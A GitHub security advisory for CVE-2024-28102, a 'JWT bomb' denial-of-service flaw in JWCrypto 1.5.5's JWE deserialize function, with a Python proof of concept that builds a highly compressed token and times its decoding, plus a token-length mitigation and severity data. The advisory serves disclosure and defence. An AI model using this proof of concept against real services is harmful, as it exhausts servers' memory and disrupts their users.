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Security Advisories: GSA_kwCzR0hTQS1qODU3LTdydnYtdmo5N84AA5zv

JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Affected version

Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5

Description

An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.

Poc

from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))


payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.

Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

References

[1] CVE-2024-21319

Permalink: https://github.com/advisories/GHSA-j857-7rvv-vj97
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qODU3LTdydnYtdmo5N84AA5zv
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 months ago
Updated: about 1 month ago

CVSS Score: 6.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Identifiers: GHSA-j857-7rvv-vj97, CVE-2024-28102
References:

• https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97
• https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f
• https://nvd.nist.gov/vuln/detail/CVE-2024-28102
• https://github.com/advisories/GHSA-j857-7rvv-vj97

Repository: https://github.com/latchset/jwcrypto
Blast Radius: 22.4

Affected Packages